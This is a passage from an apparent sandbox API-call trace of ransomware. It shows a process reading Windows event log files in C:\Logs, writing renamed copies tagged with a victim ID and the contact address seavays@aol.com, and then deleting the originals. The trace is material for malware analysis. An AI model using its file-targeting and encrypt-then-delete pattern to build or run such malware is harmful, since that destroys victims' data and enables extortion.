lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.012] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0064.012] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0064.012] lstrlenW (lpString=".doc") returned 4 [0064.012] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.013] lstrlenW (lpString=".docx") returned 5 [0064.013] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.013] lstrlenW (lpString=".pdf") returned 4 [0064.013] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.013] lstrlenW (lpString=".xls") returned 4 [0064.013] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.013] lstrlenW (lpString=".xlsx") returned 5 [0064.013] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.013] lstrlenW (lpString=".ppt") returned 4 [0064.013] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0064.013] lstrlenW (lpString=".zip") returned 4 [0064.013] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.013] lstrlenW (lpString=".rar") returned 4 [0064.013] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.013] lstrlenW (lpString=".bz2") returned 4 [0064.013] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.013] lstrlenW (lpString=".7z") returned 3 [0064.013] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0064.013] lstrlenW (lpString=".dbf") returned 4 [0064.013] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0064.013] lstrlenW (lpString=".1cd") returned 4 [0064.013] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0064.013] lstrlenW (lpString=".jpg") returned 4 [0064.013] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.014] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0064.014] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50 [0064.014] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0064.014] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0064.014] CloseHandle (hObject=0x314) returned 1 [0064.014] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0064.014] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.014] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0064.014] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.014] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.014] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0064.015] GetLastError () returned 0x0 [0064.015] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0064.017] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0064.019] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.019] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x138, lpOverlapped=0x0) returned 1 [0064.020] SetEndOfFile (hFile=0x2e8) returned 1 [0064.020] CloseHandle (hObject=0x2e8) returned 1 [0064.024] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.024] SetEndOfFile (hFile=0x314) returned 1 [0064.026] CloseHandle (hObject=0x314) returned 1 [0064.026] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0064.026] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1 [0064.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0064.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0064.026] lstrlenW (lpString=".doc") returned 4 [0064.026] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.026] lstrlenW (lpString=".docx") returned 5 [0064.026] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.026] lstrlenW (lpString=".pdf") returned 4 [0064.026] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.026] lstrlenW (lpString=".xls") returned 4 [0064.027] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.027] lstrlenW (lpString=".xlsx") returned 5 [0064.027] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.027] lstrlenW (lpString=".ppt") returned 4 [0064.027] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0064.027] lstrlenW (lpString=".zip") returned 4 [0064.027] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.027] lstrlenW (lpString=".rar") returned 4 [0064.027] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.027] lstrlenW (lpString=".bz2") returned 4 [0064.027] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.027] lstrlenW (lpString=".7z") returned 3 [0064.027] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0064.027] lstrlenW (lpString=".dbf") returned 4 [0064.027] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0064.027] lstrlenW (lpString=".1cd") returned 4 [0064.027] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0064.027] lstrlenW (lpString=".jpg") returned 4 [0064.027] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0064.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0064.027] lstrlenW (lpString=".doc") returned 4 [0064.027] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.027] lstrlenW (lpString=".docx") returned 5 [0064.027] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.028] lstrlenW (lpString=".pdf") returned 4 [0064.028] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.028] lstrlenW (lpString=".xls") returned 4 [0064.028] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.028] lstrlenW (lpString=".xlsx") returned 5 [0064.028] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.028] lstrlenW (lpString=".ppt") returned 4 [0064.028] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0064.028] lstrlenW (lpString=".zip") returned 4 [0064.028] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.028] lstrlenW (lpString=".rar") returned 4 [0064.028] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.028] lstrlenW (lpString=".bz2") returned 4 [0064.028] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.028] lstrlenW (lpString=".7z") returned 3 [0064.028] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0064.028] lstrlenW (lpString=".dbf") returned 4 [0064.028] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0064.028] lstrlenW (lpString=".1cd") returned 4 [0064.028] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.028] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0064.028] lstrlenW (lpString=".jpg") returned 4 [0064.028] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.028] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0064.029] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40 [0064.029] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0064.029] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0064.029] CloseHandle (hObject=0x314) returned 1 [0064.030] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0064.030] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.030] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0064.030] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.030] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.030] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0064.031] GetLastError () returned 0x0 [0064.031] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0064.033] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0064.035] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.035] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x124, lpOverlapped=0x0) returned 1 [0064.035] SetEndOfFile (hFile=0x2e8) returned 1 [0064.035] CloseHandle (hObject=0x2e8) returned 1 [0064.038] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.038] SetEndOfFile (hFile=0x314) returned 1 [0064.039] CloseHandle (hObject=0x314) returned 1 [0064.039] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0064.039] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1 [0064.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0064.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0064.040] lstrlenW (lpString=".doc") returned 4 [0064.040] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.040] lstrlenW (lpString=".docx") returned 5 [0064.040] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.040] lstrlenW (lpString=".pdf") returned 4 [0064.040] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.040] lstrlenW (lpString=".xls") returned 4 [0064.040] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.040] lstrlenW (lpString=".xlsx") returned 5 [0064.040] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.040] lstrlenW (lpString=".ppt") returned 4 [0064.040] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0064.040] lstrlenW (lpString=".zip") returned 4 [0064.040] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.040] lstrlenW (lpString=".rar") returned 4 [0064.040] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.040] lstrlenW (lpString=".bz2") returned 4 [0064.040] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.040] lstrlenW (lpString=".7z") returned 3 [0064.040] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0064.040] lstrlenW (lpString=".dbf") returned 4 [0064.040] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0064.040] lstrlenW (lpString=".1cd") returned 4 [0064.040] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0064.040] lstrlenW (lpString=".jpg") returned 4 [0064.041] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0064.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0064.041] lstrlenW (lpString=".doc") returned 4 [0064.041] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.041] lstrlenW (lpString=".docx") returned 5 [0064.041] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.041] lstrlenW (lpString=".pdf") returned 4 [0064.041] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.041] lstrlenW (lpString=".xls") returned 4 [0064.041] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.041] lstrlenW (lpString=".xlsx") returned 5 [0064.041] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.041] lstrlenW (lpString=".ppt") returned 4 [0064.041] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0064.041] lstrlenW (lpString=".zip") returned 4 [0064.041] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.041] lstrlenW (lpString=".rar") returned 4 [0064.041] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.041] lstrlenW (lpString=".bz2") returned 4 [0064.041] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.041] lstrlenW (lpString=".7z") returned 3 [0064.041] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0064.041] lstrlenW (lpString=".dbf") returned 4 [0064.041] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0064.041] lstrlenW (lpString=".1cd") returned 4 [0064.041] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0064.042] lstrlenW (lpString=".jpg") returned 4 [0064.042] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.042] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0064.042] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32 [0064.042] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0064.042] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0064.042] CloseHandle (hObject=0x314) returned 1 [0064.042] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0064.042] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.042] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0064.043] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.043] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.043] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0064.043] GetLastError () returned 0x0 [0064.043] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0064.351] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0064.353] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.353] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x114, lpOverlapped=0x0) returned 1 [0064.353] SetEndOfFile (hFile=0x2e8) returned 1 [0064.353] CloseHandle (hObject=0x2e8) returned 1 [0064.355] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.355] SetEndOfFile (hFile=0x314) returned 1 [0064.357] CloseHandle (hObject=0x314) returned 1 [0064.357] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0064.357] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1 [0064.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0064.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0064.357] lstrlenW (lpString=".doc") returned 4 [0064.357] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.357] lstrlenW (lpString=".docx") returned 5 [0064.357] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.357] lstrlenW (lpString=".pdf") returned 4 [0064.357] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.358] lstrlenW (lpString=".xls") returned 4 [0064.358] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.358] lstrlenW (lpString=".xlsx") returned 5 [0064.358] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.358] lstrlenW (lpString=".ppt") returned 4 [0064.358] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0064.358] lstrlenW (lpString=".zip") returned 4 [0064.358] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.358] lstrlenW (lpString=".rar") returned 4 [0064.358] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.358] lstrlenW (lpString=".bz2") returned 4 [0064.358] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.358] lstrlenW (lpString=".7z") returned 3 [0064.358] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0064.358] lstrlenW (lpString=".dbf") returned 4 [0064.358] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0064.358] lstrlenW (lpString=".1cd") returned 4 [0064.358] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0064.358] lstrlenW (lpString=".jpg") returned 4 [0064.358] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0064.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0064.358] lstrlenW (lpString=".doc") returned 4 [0064.358] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.359] lstrlenW (lpString=".docx") returned 5 [0064.359] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.359] lstrlenW (lpString=".pdf") returned 4 [0064.359] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.359] lstrlenW (lpString=".xls") returned 4 [0064.359] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.359] lstrlenW (lpString=".xlsx") returned 5 [0064.359] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.359] lstrlenW (lpString=".ppt") returned 4 [0064.359] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.359] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0064.359] lstrlenW (lpString=".zip") returned 4 [0064.359] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.359] lstrlenW (lpString=".rar") returned 4 [0064.359] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.359] lstrlenW (lpString=".bz2") returned 4 [0064.359] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.359] lstrlenW (lpString=".7z") returned 3 [0064.359] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.359] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0064.359] lstrlenW (lpString=".dbf") returned 4 [0064.360] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.360] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0064.360] lstrlenW (lpString=".1cd") returned 4 [0064.360] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.360] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0064.360] lstrlenW (lpString=".jpg") returned 4 [0064.360] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.360] 